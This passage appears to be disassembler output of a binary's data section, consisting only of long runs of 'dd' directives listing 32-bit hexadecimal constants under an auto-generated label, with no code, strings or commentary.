		dd 0FC22D55h, 65B69FE8h, 2590B0Fh, 31FBA00Dh, 94D362h
		dd 0D93C2105h, 0EC2DD88Fh, 0BC540617h, 0E98E6B07h, 9860C2C7h
		dd 747C573h, 340BE01Fh,	0ED137014h, 101507Ch, 59A55E53h
		dd 0CFD0C082h, 0F3E0056Ah, 807B1009h, 6103561Bh, 0E967D474h
		dd 0E200621h, 902AB234h, 0E0FFA71h, 0A09E176h, 22EA46E0h
		dd 19000113h, 3CB9F5B0h, 3C056BE3h, 2B00B1F0h, 0E9CFA42Ah
		dd 0C03EEA9Ch, 0BD20E264h, 89B80E8Dh, 0EA3BAD5Bh, 0B2FE3A0Dh
		dd 305CA93Bh, 110809F2h, 64D4697Bh, 4C348F5h, 835BCB28h
		dd 193AF9F6h, 8A3817FBh, 0C4806A1Eh, 7AB1E0D0h,	9F4C1928h
		dd 40FD606Ah, 30F1369Eh, 0E500F5E6h, 0AA5AD2A0h, 7B186Eh
		dd 1C11B094h, 72776BC0h, 0F847F630h, 8018CD63h,	26284640h
		dd 0C33188ECh, 0D7CA28CEh, 0E201087h, 5286607Fh, 800E936h
		dd 283C7311h, 123D22h, 0E7988D95h, 0B1484AA3h, 0BF20A41Eh
		dd 2C1D6724h, 85EEA9C0h, 0CA40D1h, 3CFB7AE8h, 9B098A7Bh
		dd 81FE8F00h, 0FD3D852Ch, 56512E12h, 0DA930EF6h, 48E7E3A0h
		dd 57001C2Eh, 52ABB3F2h, 55016D3h, 20D09439h, 80A78701h
		dd 3E7F9370h, 49F68E00h, 0C98799FCh, 1C1F79B7h,	80ABDA3Fh
		dd 53903421h, 461C5F23h, 0D6CECCACh, 0E6C5009Ah, 75013C32h
		dd 0B1701C26h, 86924F1Fh, 0E8EB7EA0h, 0BCB0E2B6h, 90037E8h
		dd 2E8AF9A8h, 664DA0h, 6BB299BCh, 0F5DDD23Dh, 0C1BB5400h
		dd 5AFA6878h, 84EB004Ah, 8DBCC765h, 3D7A6AC4h, 1BA203Ah
		dd 13D9CF49h, 6880CB02h, 7BDC063Eh, 8B185DD2h, 0BE48779Ch
		dd 0FEB60C1Dh, 0E890853Dh, 71C09912h, 25449200h, 3F6577ACh
		dd 0F8BE61h, 0B108336Dh, 0D2043A60h, 4A8458C0h,	1A0673Eh
		dd 174FAA91h, 863FC6B6h, 0DE073A51h, 0FB5C0C29h, 678B158h
		dd 5F62D400h, 7F367192h, 0D1820F76h, 524A2A03h,	50870FE6h
		dd 0C7C538D8h, 0AA152414h, 97820D84h, 0F0D7187Fh, 0EA9F693h
		dd 0DB284E6Eh, 0D03A17E7h, 0D191B01Ah, 0A36AB906h, 496F7Ch
		dd 0D5AB125h, 828BEC47h, 0A7F88007h, 2720F920h,	6624FDh
		dd 0B753C695h, 374BF612h, 8F4CA11Ch, 68491900h,	973B7C6Ah
		dd 0FF4D3180h, 0D50D40B1h, 1179FE3Ch, 3F9C040Bh, 0B0359Fh
		dd 179B051Fh, 42002704h, 772E7058h, 0D259B5h, 0E541FD90h
		dd 0FBAD4FB9h, 0C26C7200h, 1B7A0984h, 7CB600BDh, 6FEB5F3h
		dd 0A22CCE7Fh, 981CD85Fh, 0AF682E00h, 7F52DEFFh, 906BF813h
		dd 0A46DA066h, 0E3DC0003h, 4C491C21h, 5501527Eh, 0F785C23Fh
		dd 0C9C8D659h, 751D0317h
dword_564190	dd 2144A04Dh, 358808A8h, 0E2834F06h, 8AF87Bh, 20381E2Ah
		dd 3FE6781Ch, 0C05F8001h, 390B1BDBh, 0EB8B1880h, 5A40AB8Eh
		dd 8ACF2400h, 448D10F9h, 0F5AA4C0Dh, 18B9602Eh,	7886492Fh
		dd 1BA33Eh, 9DFE5898h, 0FAFB05h, 37FFC3C4h, 290A50E2h
		dd 0B7B37F00h, 36AB7892h, 543B387Eh, 86FD4686h,	7A0059DAh
		dd 4CC071F9h, 261E94h, 6BFAB2E8h, 0C22272B8h, 0D681802h
		dd 63420E89h, 165DD197h, 5754D451h, 0F86F6CECh,	63B0F3h
		dd 0A803ECEFh, 21288741h, 0A0D73F00h, 5C85D073h, 0B6C02AF0h
		dd 86EB06F0h, 8ADCD5DEh, 80F0C00h, 18D3E2FAh, 173C3004h
		dd 2162F41Eh, 96AD9C1Fh, 2BA8AB80h, 322B310h, 0DAF9F0E0h
		dd 82C8AA93h, 46008E68h, 3AF2855Bh, 8612FEh, 87A3C2C4h
		dd 0BC74FD2Ch, 0B53D20F0h, 1D97005Ch, 32AE793Fh, 0C9E2079Ch
		dd 80B8DC67h, 0CB87EE9Fh, 7F242774h, 570100A4h,	380F1B39h
		dd 268F8h, 5488B3E6h, 7BFE6D98h, 1AA4520Eh, 16D200CEh
		dd 69D3DFh, 63F177AEh, 71592312h, 94104E3Ch, 8CE14Ch, 509FB534h
		dd 2F860Eh, 94588362h, 0F86BBAAAh, 22E28902h, 8FFEE5F6h
		dd 4955E0B4h, 7E70BDh, 0D0D8C138h, 133A9CFh, 2B003276h
		dd 0E0F0FDC2h, 9C9BD4h,	15E38C18h, 367A8E6Bh, 444E3D00h
		dd 5FDBCBDh, 0FB90774h,	50DA4770h, 19AA2878h, 9C049300h
		dd 0E53C63C4h, 0BDCD0062h, 338D6CF0h, 6E1CF8BAh, 0F640552Ch
		dd 0D975A8A0h, 4A3B006Bh, 0B5F08FC0h, 0ECA07E4Bh, 0BCA18176h
		dd 0B9AEF0A2h, 4128E5B0h, 0B43AA4E2h, 0B893006Dh, 4EF7550Bh
		dd 545A0013h, 9F48CB6Ch, 74FCDD76h, 72601D00h, 6F0FB751h
		dd 0F1B900A1h, 89238078h, 2B003350h, 67EA4356h,	715931Ah
		dd 0AE1631F4h, 0AB323290h, 8D0C6C40h, 4CC60813h, 2DE86907h
		dd 51CFD591h, 24C00D21h, 0B7E009CEh, 38A01B2Fh,	0F083F3DFh
		dd 3B769902h, 80EB5A20h, 98A6389Ch, 654C00B9h, 0AB3A2A4Dh
		dd 2D128B0Bh, 744084CBh, 4202E9EBh, 0B16B00BDh,	0B5863D04h
		dd 0FDB0884Ah, 839B8900h, 0A48FB6C4h, 21A0C045h, 0D59DC5C7h
		dd 6AE84600h, 0CE80E407h, 7AEB001Dh, 9810F578h,	484C1277h
		dd 810C3FFBh, 0D98BE48Fh, 37F08486h, 6C7E00EAh,	4CE87A3Ch
		dd 0D3002FCCh, 0A663172h, 1DE0F09h, 0F21BAD90h,	0DC052502h
		dd 0BA00B996h, 568BEEDBh, 5268FBEh, 31142DA9h, 0EFBF8083h
		dd 0B7E049A4h, 0A0A30C00h, 43B559F5h, 143800D5h, 0EC6D3088h
		dd 5702C3C2h, 8C21A984h, 0FCA0804Ch, 0B8E8AFh, 0C997EC38h
		dd 0F069C1EBh, 85A6D100h, 7F2D3944h, 0AD7B0056h, 0A230D303h
		dd 5794A66h, 6BED1B00h,	882FBE5Eh, 0AE0A0051h, 0B0FB567Ch
		dd 0FA4D5481h, 0BB2200F4h, 240899ACh, 0B2EC93h,	0DAEE4BAFh
		dd 1132F11h, 1E63A700h,	5A58E49Ch, 54EF0335h, 44E39B40h
		dd 63413AB8h, 91000472h, 0CC220161h, 71B154Eh, 0D0F69E43h
		dd 0FB45E072h, 3B00915Eh, 93EF3441h, 1DEB8136h,	0B0A6BE32h
		dd 0EA39BAF8h, 0BB092104h, 0D480FC02h, 427F27h,	98E24ADFh
		dd 9B5C71B2h, 0BFC49700h, 6499C520h, 53263872h,	0A2006BCCh
		dd 0EECFE344h, 7C03E878h, 2E546934h, 5D1E98A1h,	0AC6306E1h
		dd 18D27529h, 0FC7E2102h, 0C8B7B036h, 3D31A294h, 0E08361BBh
		dd 0ED05D3CDh, 40C5FDB0h, 0C60E6D16h, 97D96D00h, 8D7332h
		dd 9406AC4Dh, 641B35B6h, 0C0F74EF0h, 0C550E980h, 6F4CF6BCh
		dd 298B18CDh, 783D7EC4h, 4BC031Ch, 0D3CED822h, 4F795C98h
		dd 286B7807h, 49216C85h, 0A0407031h, 0E894EB0h,	4AD31815h
		dd 62CD07h, 0B9BDCEADh,	3E0BC52h, 53DAB704h, 1F5D0EEh
		dd 2A7500B6h, 26C1BE1Ch, 3A002794h, 6CDFF6B9h, 7425818Ch
		dd 33B709C2h, 2CA0700Bh, 0B55BDE32h, 52230780h,	520388A9h
		dd 0D91B942Ch, 0F44B60DFh, 7700A25Fh, 2A201FC9h, 0B7CD1Dh
		dd 0D827C71Eh, 4142433Fh, 3764B901h, 2F04CAD9h,	0E56C9840h
		dd 0BD1D0070h, 0F3D46EF9h, 77E61AC0h, 0A4606800h, 0CD02829Dh
		dd 631E00B3h, 43FF92D4h, 2400C4EEh, 980D3F7Dh, 3195F26h
		dd 0F1F27502h, 62F890C6h, 2A00E4E7h, 5CD6F0B4h,	0BD97EF8h
		dd 3BDF5ADBh, 0AAE0B020h, 0DD018183h, 249AADCDh, 5DC5F61h
		dd 794B0362h, 64A6A971h, 0CF8F90F0h, 74F98E00h,	0BF21D634h
		dd 89C83C53h, 662FA68Eh, 0A880DE0Eh, 323E9AC0h,	4D09ACB8h
		dd 0A57F1850h, 3BC0E680h, 0E869E154h, 615E1F48h, 11E018DCh
		dd 0FC40F64Bh, 6FF059h,	0CC2E753Fh, 6050156Dh, 4E496460h
		dd 75A0ED7Bh, 11E0F8h, 1EAEFE9Eh, 0ADB5B918h, 101FE07Ah
		dd 30804C33h, 86BC493Bh, 0B46F067Ch, 188D0D1Ch,	0FA8F3807h
		dd 65803534h, 9012DBh, 2D1595E6h, 9AD7ABBBh, 0B2647B50h
		dd 7E7C7701h, 0F1850D63h, 66B9830h, 0DA36D1F3h,	793CC871h
		dd 40ADAECCh, 1280209Eh, 0B8F7CE98h, 0EEA800C6h, 7AB52375h
		dd 6174336Fh, 44EFAC00h, 0E970F6BCh, 9F6200BAh,	512759BFh
		dd 2B07CB7Dh, 5A649B60h, 31B944B0h, 0E4610422h,	801E15FCh
		dd 570A0B14h, 0D106D0F7h, 9A8C6501h, 0A0AD32F1h, 0F50F02F4h
		dd 2CD2C8h, 8970C86Dh, 9F711338h, 0CF34EC03h, 0F08AE00Eh
		dd 68F07Bh, 83ABC004h, 0A17230D0h, 493CFE00h, 0A6D4CAE3h
		dd 0D6BB180Eh, 0ED81E1FAh, 4F25EA00h, 7CE68021h, 71BE0096h
		dd 4741E83h, 0F202B13Fh, 62DB36C6h, 0CF908055h,	3063F3A8h
		dd 7F105954h, 0BE648DEh, 0D0439C00h, 0AB44E06Dh, 56981CA5h
		dd 0A8DA9494h, 25D42098h, 0F1663500h, 2B694A33h, 14054448h
		dd 95748500h, 86964E0Fh, 0C7291CBEh, 0F9533Bh, 0C12EF8E2h
		dd 0C81D3657h, 3E0068FBh, 227C4FB6h, 72250A8Eh,	83E46306h
		dd 5A557618h, 0E5B98B98h, 4284524h, 34BAF187h, 3D146F00h
		dd 0B5C40002h, 3F80F3F7h, 0D312D5BBh, 544060CEh, 0BD0F68D1h
		dd 0CC2500BEh, 75EDE336h, 84A0F3C3h, 8C399B77h,	0B49E01D9h
		dd 4B293682h, 2456CC24h, 809CA6B5h, 43A91131h, 0EE039601h
		dd 472C2E7Dh, 77B4C086h, 0B72D003Ah, 0F74C5FEAh, 330016EBh
		dd 0D1485D7Dh, 0E0C2697h, 6AAD1C20h, 20EA5586h,	48457000h
		dd 9DCDEA6h, 0EBDE257h,	0D301234Fh, 0E905A143h,	603A2800h
		dd 0EA9D348Eh, 0C5CA0479h, 3845D55h, 0E09CBC9Eh, 0F9FB3C80h
		dd 18B62DF5h, 0A0063038h, 88C22234h, 0D7760041h, 0A8864BF1h
		dd 0B1DEE11h, 72181260h, 0EBFC921h, 0F846DDF1h,	875B0056h
		dd 5D176883h, 7491D528h, 48387846h, 5E97CA84h, 0C10C370Dh
		dd 6E505C0Fh, 0F5599500h, 2C9E3125h, 0B480FA00h, 0EB93B07Dh
		dd 0C355729Fh, 0ED24D318h, 29C148h, 0E54A98A8h,	90EA7180h
		dd 6FD2B0ACh, 0E420B1CDh, 32DFEC45h, 0FAF6B876h, 0B6129E00h
		dd 83B1C6CEh, 0CEAECCDh, 79BCFD11h, 2A0396C0h, 8D349962h
		dd 0D0A190A9h, 35710090h, 7FCE521Ch, 0E548F741h, 56FC00A4h
		dd 0EE31D6B3h, 0E7B000C5h, 8AF0B5FFh, 17052DCEh, 0F3FAA4F1h
		dd 1DF6C202h, 0BD27409Dh, 66E40024h, 0F043379Eh, 4474FF76h
		dd 0B6215960h, 7D77E5CFh, 270600F6h, 2DC2F358h,	3731D77Eh
		dd 0F7F150C4h, 0E504450Ch, 478F9E7Dh, 0C7205432h, 0C6E420h
		dd 0DA53AF30h, 0DEB67991h, 28B8E300h, 927707A2h, 6720F884h
		dd 0A0951027h, 0B60A1D8Fh, 0C1092E00h, 0F89185A1h, 0C0C07E9Ah
		dd 97171D59h, 9C676401h, 0B160FD11h, 0C5F7523h,	6612083Ch
		dd 21C0E408h, 0F313F5FCh, 9C0A0E2Ch, 0BA0090F9h, 3C9E7E0Bh
		dd 0B5F0E8C0h
		dd 0C3D4536h, 4EF4825Dh, 9B78CF70h, 54A4E218h, 0C0989510h
		dd 6FE79D50h, 9272CF69h, 26D4DA06h, 7B05FBDh, 0BE609E64h
		dd 0F8801959h, 0AA2408Fh, 0D4683E60h, 0F61734Eh, 7991C0Bh
		dd 0BF876CA0h, 0E05CD29Ch, 0E72B00D3h, 22505688h, 0F1230072h
		dd 7DCB668Fh, 0DC381D07h, 519B9DC9h, 8D3DD900h,	0AF05A3h
		dd 0C472E537h, 84ED889Dh, 4443611Eh, 51D20CC0h,	0ED12A8A1h
		dd 0E0B10FECh, 52CF0049h, 111BD6DDh, 9E7A29F3h,	0A1C92400h
		dd 0B7798A74h, 0C6580790h, 80AA6D85h, 0CEC446C5h, 2207F3E2h
		dd 0ABC289F9h, 8FA106C0h, 0F22C0303h, 9AFB2BA0h, 6AD21000h
		dd 0BFA5B205h, 7D47187Bh, 0E51C086Eh, 82BD20C0h, 6813506h
		dd 1166791Bh, 0D12058FFh, 9A3221F2h, 0FCCD5604h, 0DC051C20h
		dd 7A4FA510h, 0BF21B6CCh, 0B405740Fh, 737E005Ch, 5F247783h
		dd 40C6832Dh, 0A039C000h, 3CBCEA5Bh, 0D9E11323h, 0EE0A0044h
		dd 90DC30CBh, 404D3207h, 0A08E5778h, 0EAE29CFh,	0C8F9006Fh
		dd 16856BC6h, 0E60062E9h, 1D945D3Ah, 233D4Dh, 57D2902Dh
		dd 0FDAD8748h, 6900867Dh, 5E048212h, 962CDCh, 48B00390h
		dd 0E8A8B9C3h, 2839C600h, 0AF1CE79Ch, 727A0015h, 7F862C5Dh
		dd 0DB0322AAh, 0FE601731h, 0A3E7D13Ah, 0DADDCh,	0E30CD596h
		dd 4AC0CFD2h, 295A6800h, 0B45E3A55h, 1CC40035h,	237C8704h
		dd 0A400D5ABh, 0C8210520h, 1C7486D0h, 7D79ECh, 6B26CC8Bh
		dd 0FF06E681h, 0A01A6E46h, 0CC0F850h, 0FCCB916Dh, 500A518h
		dd 9264CE4Fh, 0BA4F423h, 0D3748D02h, 6F1E475Ch,	0A61F569Eh
		dd 0AA919501h, 0E1E7A9BCh, 19854BD4h, 0C062258Dh, 0CAA4D731h
		dd 4399EE00h, 0C0108960h, 0E94D0CD6h, 3B704897h, 42C5500Eh
		dd 0C0E82FE7h, 9088455Ch, 0EC8E0084h, 0F002D9E4h, 0C6061246h
		dd 8A6F1ADBh, 0C93601B9h, 8D81E02Ch, 0C8BE08h, 510E3361h
		dd 3D2E820h, 98434B75h,	780E2ED9h, 0A0A5908Dh, 0B3B501DBh
		dd 0F1FB007Eh, 0C3FC8EEh, 0C600B943h, 79A81786h, 0A17722h
		dd 0AA8DFCBCh, 0A0EECF4Eh, 753FB70Eh, 92030187h, 76C49E06h
		dd 0A3BD00C3h, 0C6B732EEh, 28C005C0h, 0C430FF1Ah, 2B1F013Dh
		dd 438BF263h, 9FF6D173h, 0C404CA21h, 87C1BE3Ch,	212087A6h
		dd 530600BFh, 19F18B2h,	0A137D04Eh, 578030A0h, 1DCEABA9h
		dd 412CC203h, 0AC8F5238h, 35218054h, 0A2F54FE1h, 2F86189Eh
		dd 0EA419856h, 5B184A06h, 3C284E76h, 0B006A5B7h, 101E131Fh
		dd 450047F4h, 0C659E14h, 0EACD7683h, 8897608Ch,	393648B7h
		dd 0EC11A700h, 0B03F7506h, 0A24C01A3h, 0DDDB26EEh, 2A63700Dh
		dd 0DC5DB300h, 28778D12h, 69C3194h, 0E07519C8h,	92F043FEh
		dd 17EA0E00h, 10614F79h, 44B200B5h, 0C97F9ABDh,	3400FB03h
		dd 4E3148DCh, 3A407945h, 1780119Ch, 2778E64Ah, 81007054h
		dd 3BB9B32Fh, 1E836531h, 8FBAA171h, 6DA0F314h, 0B7A342D9h
		dd 5A7BF698h, 91AFE003h, 0B8AE8434h, 18F10403h,	0A00E9FA0h
		dd 70B19E9h, 8FBC83h, 16486EFCh, 7586007Ah, 6DA10F9Ah
		dd 0BE00B141h, 5878EFEDh, 649B478Eh, 0C0312887h, 4017AE24h
		dd 39D55C00h, 66DE78C3h, 2D450024h, 949A0EC0h, 0F300DCB9h
		dd 73D4A84Dh, 0F37B816h, 3F26A287h, 53B66A3h, 0E04D0C99h
		dd 3400EFC0h, 0B388BAF4h, 0E562B67h, 93C8F70Eh,	3640EE6Fh
		dd 4B9AC647h, 88695F30h, 308395A2h, 0D720F5BDh,	0BE00105Eh
		dd 3C93E26Fh, 7C17B9E8h, 0D470C0BBh, 0C4A0238Ch, 64B03901h
		dd 6BBE9EF4h, 0C805488Eh, 0CEA6160h, 1D006385h,	0BA3A781Ch
		dd 0DC8C5317h, 0FC834040h, 95EF02F9h, 936F8500h, 75486831h
		dd 56A000A6h, 0E4512492h, 12F832D0h, 33A7370Ch,	7652F6ABh
		dd 8130CEF2h, 11929720h, 0E6019541h, 0CB77E88Fh, 0EC80C56Dh
		dd 0EB9B56A4h, 9505EEC1h, 0BB38805Eh, 84768380h, 0DBE80460h
		dd 0C0BA81F9h, 96CDE489h, 0CA994400h, 859D2B73h, 7A110045h
		dd 81F6CF78h, 3107CC50h, 1E712AFBh, 0D846E50h, 6C7003Fh
		dd 0F9E29952h, 1000EAD9h, 4A8FFA7Fh, 7E74538h, 9E634F96h
		dd 0B88E71CAh, 0D938805Fh, 0F055629Fh, 0D2210057h, 0A38B909Ah
		dd 0CC00D586h, 0A68AD82Fh, 0C0CAC8B2h, 95B5C060h, 11FCB41h
		dd 0BB80180Fh, 579B7799h, 56E000CCh, 96C4955Bh,	36034F38h
		dd 43840C76h, 0BF203E6Eh, 9B22B21Ch, 0B0D8517Dh, 8900F649h
		dd 9F07135Fh, 30F5DCA5h, 0FD1F3F1h, 7A777678h, 643E2117h
		dd 900C11h, 0EB026CCEh,	767D92Dh, 7E94F0D7h, 4C405E51h
		dd 8EBD9E09h, 0D019450Ch, 3A39716Fh, 8300A2E8h,	50F72003h
		dd 17609137h, 0E72A0650h, 8F4400EDh, 61CE8829h,	3F0087F1h
		dd 3DE2FFBBh, 0C854E6h,	0D59910F7h, 0D3847706h,	0D92A0C1Fh
		dd 4130EE00h, 5E33D0h, 13679DADh, 7F8D15C5h, 0CDCAC603h
		dd 7EB049E0h, 0CCE6008Ch, 6465EF45h, 96007813h,	43B7AF20h
		dd 7FC7DF07h, 93F2A1h, 0F9973582h, 0F6878F6Fh, 4025E01h
		dd 0BA55E330h, 0CCCD20h, 9E744F4h, 27BB01E9h, 1583A100h
		dd 669BA61Bh, 200F00ABh, 46258503h, 0D707D3E0h,	170D8AFAh
		dd 0BB420E50h, 1330C0A0h, 807C3B50h, 5A004C71h,	0DF68DD62h
		dd 318191h, 7F9F2C34h, 325305EFh, 0A301A2E8h, 0E9D79DE0h
		dd 0F0807843h, 0C082085Eh, 42008598h, 6FBA2BDh,	147CEDh
		dd 0DCF0A0ABh, 0CADF1F22h, 0E0C51D06h, 0CB17BC3h, 0E968DA63h
		dd 4E60645Ch, 8CE1F750h, 0BB10082h, 97208DA0h, 41E8821h
		dd 0C34A8046h, 0FC8BB410h, 751580E2h, 60731871h, 9AB81842h
		dd 400E7B08h, 20044CCBh, 7E95A106h, 0AE220194h,	0EBA06C68h
		dd 0CC50C9F1h, 4100CFCEh, 0D0FA7D97h, 72A4AD4Ch, 0F05A1FC3h
		dd 76F800A9h, 43E263CEh, 0ADAF6900h, 2B93EDD7h,	3DF813h
		dd 0D8C5854Fh, 903588F9h, 50D1F400h, 84BE1D96h,	0B9480067h
		dd 9A32B205h, 2A727B9Dh, 23AD88C0h, 138917Fh, 0EA0AFA06h
		dd 0F89A9413h, 4B7BC425h, 9C7D691Bh, 0DE3D090h,	0EE030071h
		dd 3607388Fh, 0BA0016C2h, 56C41BF0h, 0ECAE8832h, 94150E3Fh
		dd 0B7A3184Eh, 0B2B04F5Eh, 221EE0FAh, 98014A7Eh, 0AC3AF3E7h
		dd 808058B9h, 9A77DCD2h, 6D007955h, 4EC2981Eh, 0CDEB11h
		dd 0C9852E9Bh, 7F4F8063h, 4CB8F675h, 0B011DF14h, 87F8008Ch
		dd 94ADA9CDh, 0B15E6150h, 828AFEBFh, 860B15E9h,	0C9DBE029h
		dd 66F50019h, 0D8D9D28Dh, 0FB1EED91h, 65C1D4A2h, 2F85FD75h
		dd 76D1AD0h, 6EE9D94Ch,	86800E1Bh, 681E595Bh, 61C9BE0Fh
		dd 41758069h, 2E66C322h, 0C01BA1Fh, 1A48BC6Eh, 4AD60F07h
		dd 27C0F419h, 0B64847h,	0A6EEAE2Dh, 555B6269h, 0D1FF5Ch
		dd 0D0BDC5E3h, 0A3C966h, 0D3E74D1h, 58F04B99h, 81037B7Ah
		dd 0E3AFBA1Eh, 0DA79008Dh, 0DF228699h, 503AF685h, 0A7200C1h
		dd 9D579A40h, 4C8A510Dh, 18A82C1Ch, 0A8415822h,	0FDF2EAE6h
		dd 8C156E06h, 0C1F36Fh,	0FCC318C6h, 0CC7E22Ah, 8143D814h
		dd 7E1B0F8Ch, 0DC2707C8h, 98209065h, 766DBEEh, 49773C22h
		dd 700160BBh, 0AF7B7312h, 8CE25E00h, 0B5724C64h, 446F0082h
		dd 33418A74h, 0C6008DB3h, 0E024E6BCh, 0FB66C7EDh, 40D12448h
		dd 30C0B913h, 59BDEEE1h, 0D07750BAh, 0A3831875h, 4E428840h
		dd 19976D36h, 0E10485B0h, 0FB0512EAh, 0DE3A2FE0h, 255C4B73h
		dd 0DB007AF3h, 5867838Ch, 4575BFh, 6FC3D866h, 1405E290h
		dd 0A67DB000h, 2B3AD959h, 0C0B23B5Ch, 6CF6D607h, 0CDDA077h
		dd 6400B151h, 7AF3861Eh
		dd 70BBD0h, 0ADE161DBh,	45D766C2h, 4AB8CD00h, 96C0C52Dh
		dd 162B761Eh, 1CFA262h,	0B4E5E75Eh, 0D45FE9B7h,	0DA00A9CAh
		dd 0A41293FFh, 0E65B10h, 214B7B88h, 0E5835D2Fh,	0A7D4710Fh
		dd 0CF24E0AFh, 4C80F01Ch, 87009494h, 50D59866h,	2D00174Eh
		dd 371D19D4h, 12A663C4h, 1FB39F5Eh, 0C5DB40A1h,	6CF10379h
		dd 0C890FD51h, 0A000AC50h, 199F624Ah, 13A932h, 0E09C9727h
		dd 0B3144446h, 0D834981Ch, 0E4A1E207h, 0D95B0B30h, 22A300E1h
		dd 0B31BA720h, 61005FB9h, 0DB951CB7h, 17EBF886h, 0ABA3F6D2h
		dd 970D7B07h, 315FC1D0h, 2D6C071Bh, 2001F7FAh, 0BAFB70D8h
		dd 6E8F9D04h, 6493D71Eh, 78076CEh, 8A147F2Ch, 834CC224h
		dd 9E3B8A0h, 7B07013Dh,	0BA10F02h, 0BD30C0DFh, 914490h
		dd 37E7571Eh, 480A5E26h, 0A297990Bh, 0E1FC007Fh, 0DC3956h
		dd 36A86867h, 931EB3ACh, 8CEEE09Fh, 0FF812E2h, 9E400048h
		dd 0BA883DD2h, 1D7E5A1Ch, 21097540h, 0C6BCFFh, 586BA90Dh
		dd 0B178B843h, 610279E6h, 17CA69B3h, 0C14848AAh, 18349044h
		dd 0C1DC8F67h, 0E907AD32h, 9B9E522h, 0E8808129h, 0C8304336h
		dd 356C1F70h, 633E809Ch, 7E8C11C6h, 0A2B62200h,	0CE6F2D1Fh
		dd 0FED50368h, 0DEB72829h, 884634E8h, 83DDC600h, 5BE876B1h
		dd 9D9F00D2h, 61574D52h, 0F401C808h, 0BF92106Dh, 5CE0E58Fh
		dd 0C56F0074h, 339FCD80h, 0CCFB4DE7h, 0B73B503Fh, 0BE888083h
		dd 0F16984D1h, 74E0000Bh, 0A1629AB0h, 0DF008B8Fh, 36CF6551h
		dd 2A8EF9h, 0BEB70FF3h,	0C675F2CBh, 99F4610Ch, 2C206Ch
		dd 0FD5146F8h, 18FA4074h, 661EB290h, 0B2808B1Dh, 96AC2A53h
		dd 5CF4E5h, 10BC34B5h, 0DF2146A9h, 1F555900h, 0E2279138h
		dd 94335019h, 31CF009Dh, 0CAF950D2h, 0E50FC07Dh, 0F369645Dh
		dd 82F7084Fh, 60CBF433h, 0C026F1BEh, 470A6A38h,	40003AC3h
		dd 7A842EBEh, 90DE25DCh, 0D870070h, 0F8155A4Dh,	0E1048CB6h
		dd 0D4A1C5C7h, 1EEDCC8h, 8592D19Ch, 20335CB8h, 0DF00B53Ch
		dd 46154B56h, 21D872h, 60C4CE4Dh, 0B53ED06Eh, 1FBC5E0Eh
		dd 20296Bh, 30194558h, 0FBE7C95h, 970E075h, 69972580h
		dd 0DF48D86Ch, 760403B2h, 0D0F47EE1h, 15572F8h,	1B29D32Ah
		dd 0D8BB53BDh, 2200C3E2h, 0F706B633h, 3618BA6h,	27BAC5C2h
		dd 3DA8A836h, 143DE905h, 26A68019h, 7773932Ah, 0D2F4395Ch
		dd 76D59A80h, 0CD47898Bh, 5DD0BA01h, 8FC1357Ch,	7D8EDFF8h
		dd 43601232h, 49D04785h, 77E0801Eh, 1700DFF7h, 0D33D0610h
		dd 0B84D61h, 0FCC1F04h,	0B388FFE5h, 1E761300h, 1C3BA938h
		dd 2C9F74F4h, 38DCE4h, 80E29979h, 0AB60EA36h, 56247FA4h
		dd 692100DAh, 4CD0BA7h,	0FE26C982h, 93001AF0h, 2C434684h
		dd 944E00C5h, 38B22E17h, 8E00E269h, 0F29ED4AAh,	0E0DA42h
		dd 0EBCEDD82h, 1502041h, 1002F107h, 7D81566Dh, 90CF32CBh
		dd 0EC96893Eh, 5AD9011Dh, 88791407h, 6F33D43Ch,	0BAB6B100h
		dd 5725F1Fh, 860D007Ah,	0B203AFB0h, 0B700C2F8h,	6E91E823h
		dd 59D8BD3h, 0A4998F66h, 0BF1C5Eh, 1902F803h, 902CB945h
		dd 0CD00436Bh, 92479D9h, 0A6D80070h, 2CEE46C9h,	0C1003F66h
		dd 0FD183A93h, 7EBADEEDh, 130B00C6h, 2C9CC64h, 7707B791h
		dd 0FB9F562h, 42DD7AF0h, 38184C13h, 896F1118h, 0FD01F199h
		dd 4410A6AEh, 80806A54h, 4A932CF3h, 75001E97h, 341CE0EBh
		dd 98A781h, 3AC7C58Eh, 0AD29588Ch, 3241E5Dh, 225BF22Dh
		dd 0F0D803B0h, 0C6A36037h, 6D760C7Ch, 0B8728000h, 4FDEAB14h
		dd 537E032Ah, 4C57A6FFh, 3CC54580h, 0D6245D00h,	0FF68E1Bh
		dd 0F00250E4h, 0D53000E1h, 5A7AFE56h, 0F51263DEh, 0A43099FCh
		dd 3C67559Ah, 0D3018769h, 95C175A8h, 0A8C0FE10h, 0C901B8ACh
		dd 808BFD8Eh, 24C85BF8h, 0C5E900E6h, 31D2A8A2h,	0E10005EFh
		dd 59C35419h, 4EDA76h, 0E5518026h, 655E8775h, 8E3E0B00h
		dd 2001BDACh, 64CA009Eh, 567A5BDDh, 0EB00062Ch,	865D51BAh
		dd 0EF99C6h, 3F2E6C9h, 5A64926Dh, 0E0DE1200h, 3A960683h
		dd 5E73F6h, 97F168ADh, 0F3CEA635h, 47737800h, 915DBCE0h
		dd 581C1E12h, 5CCC0BB4h, 0AE80F40Eh, 5B7A539Dh,	80EE762Eh
		dd 0E298DC00h, 8CF635h,	0AA9322D1h, 0D9C3FB24h,	88850200h
		dd 0EF9CDEBDh, 0B64707CDh, 10F7E493h, 0AFD07141h, 3F749907h
		dd 7770420h, 5D2E3BF0h,	82C600EAh, 46E2C94Ch, 0E7E41542h
		dd 7BF2AC7Ch, 0AE13F73Ah, 0E01DC135h, 496F3D02h, 86736028h
		dd 0F78A0021h, 0CF99CD51h, 0D105711Ah, 1B47FA08h, 872C53C0h
		dd 29810113h, 49C29AD2h, 605BC990h, 8D041150h, 5A0B08EEh
		dd 0D6862885h, 2AF10139h, 0C5D8F68h, 87FF075h, 6000094h
		dd 3CC3172Bh, 2AD400ADh, 1604F1FDh, 99022269h, 44683BC8h
		dd 40A842CBh, 0B22D7C89h, 91F2B4h, 9896F89Ch, 62245C36h
		dd 9D26D401h, 7C683578h, 30503421h, 0A7F092h, 1BC1FB2Bh
		dd 0C61A1E9Bh, 0CF8420EFh, 9E315689h, 59E1620h,	0A79AA1CCh
		dd 0C4CE06E5h, 590980D2h, 20E684E9h, 64034D98h,	2FB103ADh
		dd 2BC61678h, 6127A2E0h, 0E3A4C10Fh, 310FC055h,	50AA85h
		dd 0FFA77A17h, 7DF0B852h, 940B5C00h, 9B615599h,	7E5AB80Eh
		dd 20A304B0h, 0C828DF46h, 6C003524h, 1038F93Eh,	219C4A8h
		dd 9B8C2BB0h, 48C7475Eh, 0EC201C00h, 122E38EEh,	1599A44h
